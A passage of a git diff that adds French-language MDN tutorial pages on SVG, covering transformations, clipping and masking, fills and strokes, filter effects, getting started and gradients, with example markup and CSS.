scale() modifie la taille d'un élément. Cette fonction prend en paramètre 2 valeurs de transformation, la première pour celle des X et la deuxième pour celle des Y. Ces valeurs sont écrites sous forme de ratio : 0.5 correspond à une réduction à 50%, 1.5 à une augmentation de 50%. Attention, c'est le système de chiffre anglo-saxon qui est ici utilisé, il faut donc déclarer un nombre réel en utilisant un point et non une virgule. Si la deuxième valeur n'est pas déclarée, elle est considérée par défaut comme égale à la première.

+ +

Transformations complexes avec matrice

+ +

Toutes les transformations détaillées ci-dessous peuvent être décrites dans une matrice de passage 3 par 3. Il est alors possible de combiner plusieurs transformations en appliquant directement la matrice de transformation matrix(a, b, c, d, e, f) qui mappe les coordonnées d'un système de coordonnées précédent en un nouveau système de coordonnées par

+ +

{xnewCoordSys=axprevCoordSys+cyprevCoordSys+eynewCoordSys=bxprevCoordSys+dyprevCoordSys+f\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right.

+ +

Voici un exemple concret sur la documentation de transformation SVG. Pour plus de renseignements, veuillez vous référer à la page de recommandation SVG.

+ +

Effets sur les systèmes de coordonnées

+ +

Quand vous utilisez une transformation, vous définissez un nouveau système de coordonnées dans l'élément que vous transformez. Cela signifie que vous appliquez la transformation à tous les attributs de l'élément transformé et donc que cet élément n'est plus dans une carte de pixel d'échelle 1:1. Cette carte est également déplacée, déformée, agrandie ou réduite selon la transformation qui lui est appliquée.

+ +
<svg width="100" height="100">
+  <g transform="scale(2)">
+    <rect width="50" height="50" />
+  </g>
+</svg>
+
+ +

Cet exemple aura pour résultat un rectangle de 100 par 100 pixels. Les effets les plus étonnants apparaissent lorsque vous utilisez des attributs tels que userSpaceOnUse.

+ +

{{ EmbedLiveSample('Effets_sur_les_systèmes_de_coordonnées', '100', '100') }}

+ +

Embarquer du SVG dans SVG

+ +

Par opposition au HTML, le SVG peut embarquer d'autres éléments svg déclarés de manière tout à fait transparente. De cette façon, vous pouvez très simplement créer de nouveaux systèmes de coordonnées en utilisant viewBox, width et height de l'élément svg.

+ +
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <svg width="100" height="100" viewBox="0 0 50 50">
+    <rect width="50" height="50" />
+  </svg>
+</svg>
+
+ +

Cet exemple a le même effet que celui vu précédemment, soit un rectangle deux fois plus grand que ce qu'il est défini.

+ +

{{ EmbedLiveSample('Embarquer_du_SVG_dans_SVG', '100', '100') }}

+ +

{{ PreviousNext("Web/SVG/Tutoriel/Texts", "Web/SVG/Tutoriel/Découpages_et_masquages") }}

+ +

Interwiki Languages Links

diff --git a/files/fr/web/svg/tutorial/clipping_and_masking/index.html b/files/fr/web/svg/tutorial/clipping_and_masking/index.html new file mode 100644 index 0000000000..a4dd82b1dc --- /dev/null +++ b/files/fr/web/svg/tutorial/clipping_and_masking/index.html @@ -0,0 +1,91 @@ +--- +title: Découpages et masquages +slug: Web/SVG/Tutoriel/Découpages_et_masquages +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Clipping_and_masking +--- +

{{ PreviousNext("SVG/Tutoriel/Transformations_de_base", "Web/SVG/Tutoriel/Contenu_embarque_SVG") }}

+ +

Effacer une partie de ce que l'on a créé précédemment peut paraître maladroit, voire totalement contradictoire. Mais cela peut se révéler très utile, par exemple quand vous essayez de dessiner un demi-cercle.

+ +

Le découpage (clipping) correspond au fait d'enlever des morceaux d'élément. Dans ce cas là, les effets de transparence ne sont pas permis, il s'agit d'une approche du tout-ou-rien.

+ +

D'un autre côté, le masquage (masking) permet plus de souplesse en prenant en compte la transparence et les niveaux de gris.

+ +

Découper

+ +

Pour créer un demi-cercle, on définit d'abord un élément circle:

+ +
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <defs>
+    <clipPath id="cut-off-bottom">
+      <rect x="0" y="0" width="200" height="100" />
+    </clipPath>
+  </defs>
+
+  <circle cx="100" cy="100" r="100" clip-path="url(#cut-off-bottom)" />
+</svg>
+
+ +

On dessine ici un cercle d'un rayon de 100 pixels, dont le centre est placé au point (100,100). L'attribut clip-path fait référence à l'élément clipPath définit plus haut, qui est généralement placé dans la section defs.

+ +

L'élément clipPath contient un simple rectangle qui, seul, remplirait en noir la moitié supérieur du canvas. Le rectangle ne sera pas dessiné, parce qu'il est définit dans un élément clipPath, il a pour effet de déterminer quels pixels seront affichés ou non dans le dessin final. Le rectangle ne couvrant que la partie supérieure du cercle, la partie inférieure du cercle ne sera pas affichée:

+ +

{{ EmbedLiveSample('Découper','240','240','/files/3224/clipdemo.png') }}

+ +

Nous avons maintenant un demi-cercle, sans avoir à passer par un arc dans un élément path. Pour le découpage, chaque forme à l'intérieur de clipPath est inspecté et évalué avec ses propriétés et ses transformations. Chaque zone transparente dans clipPath aura pour effet de masquer le contenu. La couleur, l'opacité et autres n'ont pas d'effet tant qu'ils ne rendent pas les formes complètement transparentes.

+ +

Masquage

+ +

Le masquage, contrairement au découpage permet de travailler avec des gradients. Si vous voulez qu'un élément disparaisse progressivement, vous y parviendrez en utiilisant des masques.

+ +
<svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <defs>
+    <linearGradient id="Gradient">
+      <stop offset="0" stop-color="white" stop-opacity="0" />
+      <stop offset="1" stop-color="white" stop-opacity="1" />
+    </linearGradient>
+    <mask id="Mask">
+      <rect x="0" y="0" width="200" height="200" fill="url(#Gradient)"  />
+    </mask>
+  </defs>
+
+  <rect x="0" y="0" width="200" height="200" fill="green" />
+  <rect x="0" y="0" width="200" height="200" fill="red" mask="url(#Mask)" />
+</svg>
+
+ +

Vous pouvez voir qu'on a définit un rectangle vert en-dessous d'un rectangle rouge. Ce dernier a un attribut mask qui pointe vers le masque situé dans les définitions. Le contenu du masque est un simple élément rect, qui est rempli d'un gradient transparent-vers-blanc. Les pixels du rectangle rouge héritent de la valeur alpha (la transparence) du contenu du masque, si bien que le rectangle rouge est progressivement masqué et laisse voir le rectangle vert en-dessous:

+ +

{{ EmbedLiveSample('Masquage','240','240','/files/3234/maskdemo.png') }}

+ +

Transparence avec opacity

+ +

Pour définir la transparence d'un élément entier, on peut utiliser l'attribut opacity:

+ +
<rect x="0" y="0" width="100" height="100" opacity=".5" />
+
+ +

Le rectangle ci-dessus sera dessiné semi-transparent.

+ +

On peut également utiliser deux attributs distincts pour le remplissage et le contour: fill-opacity et stroke-opacity, pour contrôler l'opacité des propriétés fill et stroke respecitvement. Notez que le contour est dessiné au-dessus du remplissage. Ainsi, si vous rendez le contour semi-transparent et non le remplissage, celui-ci sera visible à travers le contour:

+ +
<svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <rect x="0" y="0" width="200" height="200" fill="blue" />
+  <circle cx="100" cy="100" r="50" stroke="yellow" stroke-width="40" stroke-opacity=".5" fill="red" />
+</svg>
+
+ +

{{ EmbedLiveSample('Transparence_avec_opacity','240','240','/files/3231/opacitydemo.png') }}

+ +

Vous pouvez voir dans cet exemple un cercle rouge sur un fond bleu. Le contour jaune a une opacité de 50%, si bien qu'on se retrouve avec une partie du remplissage en orange.

+ +

Utilisation de techniques CSS bien connues

+ +

Un des outils les plus puissants parmis l'arsenal du développeur web est display: none. Il n'est donc pas étonnant qu'il ait été décidé que cette propriété CSS serait également intégrée à SVG, de même que visibility et clip définis en CSS 2. Pour ré-afficher un élément précédemment caché avec display: none il est important de savoir que la valeur initiale des éléments SVG est inline.

+ +

{{ PreviousNext("SVG/Tutoriel/Transformations_de_base", "Web/SVG/Tutoriel/Contenu_embarque_SVG") }}

+ +

{{ languages( { "en": "en/SVG/Tutorial/Clipping_and_masking" } ) }}

diff --git a/files/fr/web/svg/tutorial/fills_and_strokes/index.html b/files/fr/web/svg/tutorial/fills_and_strokes/index.html new file mode 100644 index 0000000000..54e0d792e2 --- /dev/null +++ b/files/fr/web/svg/tutorial/fills_and_strokes/index.html @@ -0,0 +1,177 @@ +--- +title: Remplissages et contours +slug: Web/SVG/Tutoriel/Fills_and_Strokes +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Fills_and_Strokes +--- +

{{ PreviousNext("Web/SVG/Tutoriel/Paths", "Web/SVG/Tutoriel/Gradients") }}

+ +

Il y a différentes manières de colorer des formes: utiliser différents attributs SVG sur l'objet, utiliser du {{glossary("CSS")}} en ligne, une section CSS ou un fichier CSS externe. La plupart des {{glossary("SVG")}} que vous trouverez sur le Web utilisent du CSS en ligne, mais il y a des avantages et inconvénients pour chaque manière.

+ +

Attributs Fill et Stroke

+ +

Colorer

+ +

La coloration peut être faite en définissant deux attributs sur l'objet: fill et stroke. Fill définit la couleur de remplissage et stroke définit la couleur de la bordure. Vous pouvez utiliser la même convention de nommage des couleurs que CSS, que ce soit les noms (comme red), les valeurs rgb (comme rgb(255,0,0)), les valeurs hexadécimales, rgba, etc.

+ +
<rect x="10" y="10" width="100" height="100"
+       stroke="blue" fill="purple"
+       stroke-opacity="0.8" fill-opacity="0.5"/>
+
+ +

De plus, vous pouvez spécifier l'opacité de fill et/ou stroke. Celle-ci est contrôlé par les attributs fill-opacity et stroke-opacity respectivement.

+ +
Note: Dans Firefox 3+, les valeurs rgba sont autorisés, ce qui donne le même effet qu'utiliser les attributs d'opacité. En revanche, pour être compatible avec les autres navigateurs, il est souvent préférable de spécifier fill/stoke-opacity séparemment. Si vous spécifiez à la fois une valeur rgba et fill/stoke-opacity, les deux seront appliquées.
+ +

Options du contour

+ +

Outre les propriétés de couleur, il existe quelques attributs additionnels pour contrôler la manière dont le contour est dessiné.

+ +

stroke-width

+ +

La propriété stroke-width définit la taille du contour. La ligne du contour est centrée autour du remplissage (si le contour vaut 10, 5 pixels du contour chevauchent le remplissage).

+ +

stroke-linecap

+ +

Le second attribut affectant le contour est la propriété stroke-linecap. Elle contrôle la forme des fins de ligne. Dans l'image ci-dessous, le chemin est dessiné en rose et le contour en noir.

+ +

+ +
<svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <line x1="40" x2="120" y1="20" y2="20"
+        stroke-linecap="butt" stroke="black" stroke-width="20"/>
+  <line x1="40" x2="120" y1="60" y2="60"
+        stroke-linecap="square" stroke="black" stroke-width="20"/>
+  <line x1="40" x2="120" y1="100" y2="100"
+        stroke-linecap="round" stroke="black" stroke-width="20"/>
+</svg>
+ +

{{ EmbedLiveSample('stroke-linecap', '220', '150') }}

+ +

Il y a trois valeurs possibles pour stroke-linecap:

+ +
    +
  • butt (valeur par défaut) ferme la ligne avec un bord droit, à 90 degrés à l'endroit où la ligne se termine.
    • +
  • square a la même apparence mais termine au delà de la ligne. La distance ajoutée est la moitié de stroke-width.
    • +
  • round produit un effet arrondi à la fin du trait. La rayon de cette courbe est également contrôlé par stroke-width.
    • +
+ +

stroke-linejoin

+ +

La propriété stroke-linejoin permet de contrôler la manière de dessiner la liaison entre deux segments de ligne.

+ +

+ +
<svg width="160" height="280" xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <polyline points="40 60 80 20 120 60" stroke="black" stroke-width="20"
+      stroke-linecap="butt" fill="none" stroke-linejoin="miter"/>
+
+  <polyline points="40 140 80 100 120 140" stroke="black" stroke-width="20"
+      stroke-linecap="round" fill="none" stroke-linejoin="round"/>
+
+  <polyline points="40 220 80 180 120 220" stroke="black" stroke-width="20"
+      stroke-linecap="square" fill="none" stroke-linejoin="bevel"/>
+</svg>
+ +

{{ EmbedLiveSample('stroke-linejoin', '220', '150') }}

+ +

Chacune des ces polylignes est composée de deux segments de lignes. La liaison entre les deux est contrôlée par l'attribut stroke-linejoin. Il y a trois valeurs possibles pour cet attribut:

+ +
    +
  • miter (valeur par défaut) prolonge légèrement la ligne au-delà de sa largeur normale pour créer un coin carré, de telle sorte qu'il n'y ait qu'un seul angle.
    • +
  • round crée un coin arrondi.
    • +
  • bevel crée un nouvel angle pour faciliter la transition entre les deux segments.
    • +
+ +

stroke-dasharray

+ +

Finalement, vous pouvez également créer des lignes pointillées en spécifiant l'attribut stroke-dasharray.

+ +

+ +
<svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <path d="M 10 75 Q 50 10 100 75 T 190 75" stroke="black"
+    stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/>
+  <path d="M 10 75 L 190 75" stroke="red"
+    stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/>
+</svg>
+ +

{{ EmbedLiveSample('stroke-dasharray', '220', '150') }}

+ +

L'attribut stroke-dasharray prend une série de nombres séparés par une virgule en argument. 

+ +
+

Note: Contrairement aux paths, ces nombres doivent être séparés par des virgules (les espaces sont ignorés).

+
+ +

Le premier nombre spécifie la distance du trait et le second la distance de l'espace. Dans l'exemple précédent, la ligne rouge commence par un trait de 5 suivit d'un espace de 5 (5,5), motif qui se répète sur le reste de la ligne. Vous pouvez spécifier davantage de nombres pour créer un motif de pointillés plus complexe. Pour la ligne noire on a spécifié trois nombres (5,10,5), ce qui a pour effet d'alterner le motif: (5 trait, 10 espace, 5 trait), (5 espace, 10 trait, 5 espace), etc.

+ +

Autres

+ +

Il existe d'autres propriétés disponibles:

+ +
    +
  • fill-rule, spécifie la règle de remplissage pour les formes où des chemins se chevauchent.
    • +
  • stroke-miterlimit, détermine à partir de quel angle une liaison de segment de type miter sera affichée en bevel.
    • +
  • stroke-dashoffset, définit à partir d'où commencer les pointilliés sur la ligne.
    • +
+ +

Utiliser CSS

+ +

En plus de définir des attributs sur des objets, vous pouvez également utiliser CSS pour styliser les remplissages et les contours. Tous les attributs ne peuvent pas être définis via CSS. Ceux qui traitent le remplissage et le contour le sont généralement, fill, stroke, stroke-dasharray, etc... peuvent donc être définis de cette manière. Les attributs tels que width, height, ou les commandes des paths, ne peuvent pas être définis par CSS. Le plus simple est de tester pour découvrir ce qui est disponible et ce qui ne l'est pas.

+ +
Note: La spécification SVG décide strictement entre les attributs qui sont des propriétés et les autres. Les premiers peuvent être modifiés avec CSS, les derniers non.
+ +

En ligne

+ +

CSS peut être inséré en ligne avec l'élément via l'attribut style:

+ +
 <rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/>
+
+ +

Dans un section style

+ +

Sinon, il peut être déplacé vers une section style. Au lieu de l'insérer dans une section <head> comme vous le feriez en HTML, on la place dans la zone <defs> du SVG. <defs> (abbréviation de definitions) est l'endroit où vous placez les éléments qui n'apparaissent pas dans le SVG directement, mais qui sont utilisés par les autres éléments.

+ +
<?xml version="1.0" standalone="no"?>
+<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <defs>
+    <style type="text/css"><![CDATA[
+       #MyRect {
+         stroke: black;
+         fill: red;
+       }
+    ]]></style>
+  </defs>
+  <rect x="10" height="180" y="10" width="180" id="MyRect"/>
+</svg>
+ +

Déplacer les styles dans une zone comme ceci peut rendre les choses plus simples pour ajuster les propriétés d'un grand nombre d'éléments. Vous pouvez également utiliser les pseudo-classes comme hover pour créer des effets:

+ +
 #MyRect:hover {
+   stroke: black;
+   fill: blue;
+ }
+
+ +

Dans un fichier externe

+ +

Ou vous pouvez spécifier une feuille de style externe pour vos règles CSS avec la syntaxe XML pour les stylesheets:

+ +
<?xml version="1.0" standalone="no"?>
+<?xml-stylesheet type="text/css" href="style.css"?>
+
+<svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <rect height="10" width="10" id="MyRect"/>
+</svg>
+ +

où style.css ressemble à ça:

+ +
#MyRect {
+  fill: red;
+  stroke: black;
+}
+ +

{{ PreviousNext("Web/SVG/Tutoriel/Paths", "Web/SVG/Tutoriel/Gradients") }}

diff --git a/files/fr/web/svg/tutorial/filter_effects/index.html b/files/fr/web/svg/tutorial/filter_effects/index.html new file mode 100644 index 0000000000..b0f988398a --- /dev/null +++ b/files/fr/web/svg/tutorial/filter_effects/index.html @@ -0,0 +1,147 @@ +--- +title: Filtres +slug: Web/SVG/Tutoriel/filtres +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Filter_effects +--- +

{{ PreviousNext("Web/SVG/Tutoriel/Contenu_embarque_SVG", "Web/SVG/Tutoriel/polices_SVG") }}

+ +

Dans certaines situations, les formes de base n'offrent pas la flexibilité nécessaire pour obtenir un certain effet. Par exemple, les ombres portées ne peuvent raisonnablement pas être crées avec des gradients. Les filtres sont des mécanismes SVG qui permettent de créer effets plus sophistiqués.

+ +

Un exemple de base consiste à ajouter un effet de flou au contenu du SVG. Bien que des effets de flou simples peuvent être obtenus avec les gradients, le filtre est nécessaire pour quelque chose de plus complexe.

+ +

Exemple

+ +

Les filtres sont définis par l'élément {{SVGElement('filter')}}, qui doit ête placé dans la section <defs> de votre fichier SVG. Entre les balises du filtre, se placent une liste de primitives, des opérations basiques qui s'ajoutent aux opérations précédentes (tel que du flou, de la lumière, etc). Pour appliquer le filtre créé sur un élément graphique, on définit l'attribut {{SVGAttr('filter')}}.

+ +
<svg width="250" viewBox="0 0 200 85"
+     xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <defs>
+    <!-- Déclaration du filtre -->
+    <filter id="MyFilter" filterUnits="userSpaceOnUse"
+            x="0" y="0"
+            width="200" height="120">
+
+      <!-- offsetBlur -->
+      <feGaussianBlur in="SourceAlpha" stdDeviation="4" result="blur"/>
+      <feOffset in="blur" dx="4" dy="4" result="offsetBlur"/>
+
+      <!-- litPaint -->
+      <feSpecularLighting in="blur" surfaceScale="5" specularConstant=".75"
+                          specularExponent="20" lighting-color="#bbbbbb"
+                          result="specOut">
+        <fePointLight x="-5000" y="-10000" z="20000"/>
+      </feSpecularLighting>
+      <feComposite in="specOut" in2="SourceAlpha" operator="in" result="specOut"/>
+      <feComposite in="SourceGraphic" in2="specOut" operator="arithmetic"
+                   k1="0" k2="1" k3="1" k4="0" result="litPaint"/>
+
+      <!-- fusionne offsetBlur + litPaint -->
+      <feMerge>
+        <feMergeNode in="offsetBlur"/>
+        <feMergeNode in="litPaint"/>
+      </feMerge>
+    </filter>
+  </defs>
+
+  <!-- Éléments graphiques -->
+  <g filter="url(#MyFilter)">
+      <path fill="none" stroke="#D90000" stroke-width="10"
+            d="M50,66 c-50,0 -50,-60 0,-60 h100 c50,0 50,60 0,60z" />
+      <path fill="#D90000"
+            d="M60,56 c-30,0 -30,-40 0,-40 h80 c30,0 30,40 0,40z" />
+      <g fill="#FFFFFF" stroke="black" font-size="45" font-family="Verdana" >
+        <text x="52" y="52">SVG</text>
+      </g>
+  </g>
+</svg>
+
+ +

{{ EmbedLiveSample('Exemple', '100%', 120) }}

+ +

Étape 1

+ +
<feGaussianBlur in="SourceAlpha"
+                stdDeviation="4"
+                result="blur"/>
+ +

{{SVGElement('feGaussianBlur')}} prend en entrée (in) "SourceAlpha", qui est la couche alpha de l'élément source, applique un flou de 4, et stocke le résultat (result) dans un buffer temporaire nommé "blur".

+ +

Étape 2

+ +
<feOffset in="blur"
+          dx="4" dy="4"
+          result="offsetBlur"/>
+ +

{{SVGElement('feOffset')}} prend en entrée (in) "blur", qu'on a crée précedemment, le décale de 4 vers la droite et 4 vers le bas, et stocke le résultat (result) dans le buffer "offsetBlur". Les deux premières primitives viennent de créer une ombre portée.

+ +

Étape 3

+ +
<feSpecularLighting in="blur"
+                    surfaceScale="5" specularConstant=".75"
+                    specularExponent="20" lighting-color="#bbbbbb"
+                    result="specOut">
+  <fePointLight x="-5000" y="-10000" z="20000"/>
+</feSpecularLighting>
+ +

{{SVGelement('feSpecularLighting')}} prend en entrée (in) "blur", génère un effet d'éclairage, et stocke le résultat (result) dans le buffer "specOut".

+ +

Étape 4

+ +
<feComposite in="specOut" in2="SourceAlpha"
+             operator="in"
+             result="specOut"/>
+ +

Le premier {{SVGElement('feComposite')}} prend en entrée (in, in2) "specOut" et "SourceAlpha", masque le résultat de "specOut" de telle sorte qu'il ne soit pas plus grand que "SourceAlpha" (l'élément graphique d'origine), et remplace le résultat (result) "specOut".

+ +

Étape 5

+ +
<feComposite in="SourceGraphic" in2="specOut"
+             operator="arithmetic"
+             k1="0" k2="1" k3="1" k4="0"
+             result="litPaint"/>
+ +

Le second {{SVGElement('feComposite')}} prend en entrée (in, in2) "SourceAlpha" et "specOut", ajoute le résultat "specOut" au-dessus de "SourceAlpha", et stocke le résultat (result) dans "litPaint".

+ +

Étape 6

+ +
<feMerge>
+  <feMergeNode in="offsetBlur"/>
+  <feMergeNode in="litPaint"/>
+</feMerge>
+ +

Finalement, {{SVGElement('feMerge')}} fusionne ensemble "offsetBlur", qui est l'ombre portée, et "litPaint", qui est l'élément d'origine avec l'effet d'éclairage.

+ +
+
Source graphic +

Élément d'origine

+
+ +
Primitive 1 +

Primitive 1

+
+ +
Primitive 2 +

Primitive 2

+
+ +
Primitive 3 +

Primitive 3

+
+ +
Primitive 4 +

Primitive 4

+
+ +
Primitive 5 +

Primitive 5

+
+ +
Primitive 6 +

Primitive 6

+
+
+ +

{{ PreviousNext("Web/SVG/Tutoriel/Contenu_embarque_SVG", "Web/SVG/Tutoriel/polices_SVG") }}

diff --git a/files/fr/web/svg/tutorial/getting_started/index.html b/files/fr/web/svg/tutorial/getting_started/index.html new file mode 100644 index 0000000000..83dee73b6c --- /dev/null +++ b/files/fr/web/svg/tutorial/getting_started/index.html @@ -0,0 +1,98 @@ +--- +title: Premiers pas +slug: Web/SVG/Tutoriel/Premiers_pas +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Getting_Started +--- +

{{ PreviousNext("SVG/Tutoriel/Introduction", "SVG/Tutoriel/Positionnement") }}

+ +

Commençons par un exemple simple

+ +

Jetez un coup d'oeil au morceau de code suivant :

+ +
<svg version="1.1"
+     baseProfile="full"
+     xmlns="http://www.w3.org/2000/svg">
+
+  <rect width="100%" height="100%" fill="red"/>
+
+  <circle cx="150" cy="100" r="80" fill="green"/>
+
+  <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">SVG</text>
+
+</svg>
+
+ +

Copiez le code précédent dans un document texte, puis enregistrez le sous le nom de demo1.svg. Ouvrez le fichier dans Firefox. Vous obtiendrez alors l'image suivante (pour les utilisateurs de Firefox : cliquez ici)

+ +

svgdemo1.png

+ +

Quelques explications s'imposent quant au fonctionnement du rendu :

+ +
    +
  1. Nous commençons avec l'élément svg à la racine : + +
      +
    • la déclaration du doctype que l'on voit en (X)HTML peut être enlevée car la DTD du SVG provoque plus de problèmes qu'elle n'en résout.
      • +
    • pour identifier la version du SVG pour d'autre types de validation, les attributs version et baseProfile doivent toujours être utilisés.
      • +
    • en tant que langage basé sur XML, l'espace de nommage du document SVG doit toujours utiliser des limites définies, d'où l'attribut xmlns. Pour plus d'informations, n'hésitez pas à consulter la page Namespaces Crash Courses.
      • +
    +
    2. +
  2. L'arrière-plan est défini par un rectangle rouge, déclaré grâce à la balise <rect/> qui recouvre l'intégralité de l'espace.
    3. +
  3. Un cercle vert d'un rayon de 80px est dessiné par dessus le centre du rectangle rouge, avec un décalage de 30+120px vers l'intérieur et de 50+50px vers le haut.
    4. +
  4. Le texte "SVG" est dessiné. L'intérieur de chaque lettre est rempli de blanc. Le texte est positionné grâce à une ancre placée là où nous souhaitons qu'elle soit. Dans le cas présent, le centre du texte doit correspondre au milieu du rectangle rouge. De petits ajustements peuvent être apportés à la taille de la police et au positionnement vertical, de manière à assurer un résultat final esthétiquement agréable.
    5. +
+ +

Les propriétés basiques des fichiers SVG

+ +
    +
  • La première chose à retenir est l'ordre de rendu des éléments. La règle qui prévaut pour le SVG est que les éléments déclarés les plus récemment sont ceux qui seront affichés en avant des autres. En gros, l'élément défini en bas du document sera celui qui s'affichera au dessus de tous les autres.
    • +
  • Les documents SVG peuvent être affichés directement dans un navigateur ou même être incorporés directement dans un fichier HTML, en suivant plusieurs méthodes : +
      +
    • Si le HTML est du XHTML et est distribué sous forme de application/xhtml+xml, le SVG peut directement être intégré dans la source XML.
      • +
    • SI le HTML est du HTML5 et que le navigateur est conforme HTML5, le SVG peut aussi être intégré directement dans les sources. Toutefois, il peut être nécessaire d'effectuer des modifications de syntaxe pour rendre le document compatible aux spécifications HTML5.
      • +
    • Le document SVG peut être défini avec un élément object : + 
      <object data="image.svg" type="image/svg+xml" />
      +
      • +
    • De la même manière, un iframe peut être utilisé : + 
      <iframe src="image.svg"></iframe>
      +
      • +
    • Théoriquement, une balise img peut également être utilisée. Cependant, cette méthode n'est supportée dans Firefox que depuis la version 4.0.
      • +
    • Enfin, SVG peut être créé dynamiquement avec du Javascript et injecté dans le DOM HTML. Ceci permet aux technologies de remplacement pour les navigateurs, qui ne peuvent pas traiter SVG, d'être mises en œuvre. Pour approfondir cette technique, vous pouvez lire cette page.
      • +
    +
    • +
  • La manière dont SVG gère les tailles et les unités sera traitée à la page suivante.
    • +
+ +

 

+ +

Les types de fichiers SVG

+ +

Les documents SVG peuvent être déclarés de deux manières. Normalement, les fichiers SVG sont des fichiers textes traditionnels, contenant des balises SVG. Il est recommandé de nommer ces fichiers avec l'extension ".svg" (tout en minuscules).

+ +

Les fichiers SVG peuvent atteindre une taille assez importante, suivant l'utilisation qu'on en fait. Une application géographique utilisera ainsi des fichiers SVG plus volumineux, par exemple. Pour ces cas particuliers, la spécification SVG permet l'utilisation de fichiers compressés avec gzip. Il est conseillé d'utiliser l'extension .svgz (toujours tout en minuscules) pour ce type de fichiers. Par contre, il est assez problématique d'utiliser des fichiers SVG compressés avec gzip avec certains user agents quand les fichiers sont distribués à travers un serveur Microsoft IIS. De plus, Firefox ne peut pas charger les fichiers compressés en local. Évitez donc d'utiliser les fichiers compressés, sauf si vous êtes sûr que le serveur Web que vous utilisez puisse les distribuer correctement (cf plus bas).

+ +

Un mot sur les serveurs Web

+ +

Maintenant que vous avez une petite idée de la manière de créer des fichiers SVG basiques, la prochaine étape est de les envoyer sur un serveur Web. À ce stade, il existe quelques précautions à suivre. Pour les fichiers SVG normaux, les serveurs devraient envoyer l'en-tête HTTP :

+ +
Content-Type: image/svg+xml
+
+ +

Pour les fichiers SVG compressés, les serveurs devraient envoyer l'en-tête HTTP :

+ +
Content-Type: image/svg+xml
+Content-Encoding: gzip
+
+ +

Vous pouvez vérifier que votre serveur envoie le bon en-tête HTTP avec vos fichiers SVG en utilisant le Moniteur Réseau ou un site comme web-sniffer.net. Donnez l'URL d'un de vos fichiers SVG et regardez les en-têtes HTTP de la réponse. Si vous remarquez que votre serveur n'envoie pas les en-têtes avec les valeurs ci-dessus, vous devriez contacter votre hébergeur. Si vous avez du mal à le convaincre de configurer correctement leurs serveurs pour le SVG, il y a peut-être moyen de le faire vous-même. Regardez la page de configuration d'un serveur sur le wiki SVG pour quelques solutions simples.

+ +

La mauvaise configuration du serveur est souvent la cause de l'échec du chargement du SVG, donc assurez-vous bien d'avoir vérifié le vôtre. Si votre serveur n'est pas configuré pour envoyer les bons en-têtes avec les fichiers SVG qu'il fournit, alors Firefox affichera le contenu du fichier comme du texte ou comme du rebut encodé, ou demandera peut-être à l'utilisateur de choisir une application pour l'ouvrir.

+ +

{{ PreviousNext("SVG/Tutoriel/Introduction", "SVG/Tutoriel/Positionnement") }}

+ +

Interwiki Languages Links

+ +

{{ languages( { "en": "en/SVG/Tutorial/Getting_Started", "ja": "ja/SVG/Tutorial/Getting_Started" } ) }}

diff --git a/files/fr/web/svg/tutorial/gradients/index.html b/files/fr/web/svg/tutorial/gradients/index.html new file mode 100644 index 0000000000..ef9c235318 --- /dev/null +++ b/files/fr/web/svg/tutorial/gradients/index.html @@ -0,0 +1,224 @@ +--- +title: Gradients SVG +slug: Web/SVG/Tutoriel/Gradients +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Gradients +--- +

{{ PreviousNext("Web/SVG/Tutoriel/Fills_and_Strokes", "Web/SVG/Tutoriel/Motifs") }}

+ +

Probablement plus excitant qu'un simple remplissage et contour, est le fait de pouvoir créer et appliquer des dégradés comme remplissage ou contour.

+ +

Il y a deux types de dégradés: linéaire et radial. Les dégradés sont définis dans la section defs et non sur les formes elles-mêmes — cela favorise leur réusabilité. Vous devez donner au dégradé un attribut id; autrement, il ne pourra pas être utilisé par les autres éléments à l'intérieur du fichier SVG.

+ +

Dégradé Linéaire

+ +

Les dégradés linéaires (linear gradient en anglais) changent de couleur le long d'une ligne droite. Pour en insérer un, on crée un élément {{SVGElement('linearGradient')}} dans la section des définitions du fichier SVG.

+ +

Exemple

+ +

Un exemple de dégradé linéaire appliqué à un élément <rect>:

+ +
<svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg">
+  <defs>
+      <linearGradient id="Gradient1" x1="0" x2="0" y1="0" y2="1">
+        <stop offset="0%" stop-color="red"/>
+        <stop offset="50%" stop-color="black" stop-opacity="0"/>
+        <stop offset="100%" stop-color="blue"/>
+      </linearGradient>
+      <linearGradient id="Gradient2">
+        <stop class="stop1" offset="0%"/>
+        <stop class="stop2" offset="50%"/>
+        <stop class="stop3" offset="100%"/>
+      </linearGradient>
+      <style type="text/css"><![CDATA[
+        #rect1 { fill: url(#Gradient2); }
+        .stop1 { stop-color: red; }
+        .stop2 { stop-color: black; stop-opacity: 0; }
+        .stop3 { stop-color: blue; }
+      ]]></style>
+  </defs>
+
+  <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#Gradient1)"/>
+  <rect x="10" y="10" rx="15" ry="15" width="100" height="100" id="rect1" />
+</svg>
+ +

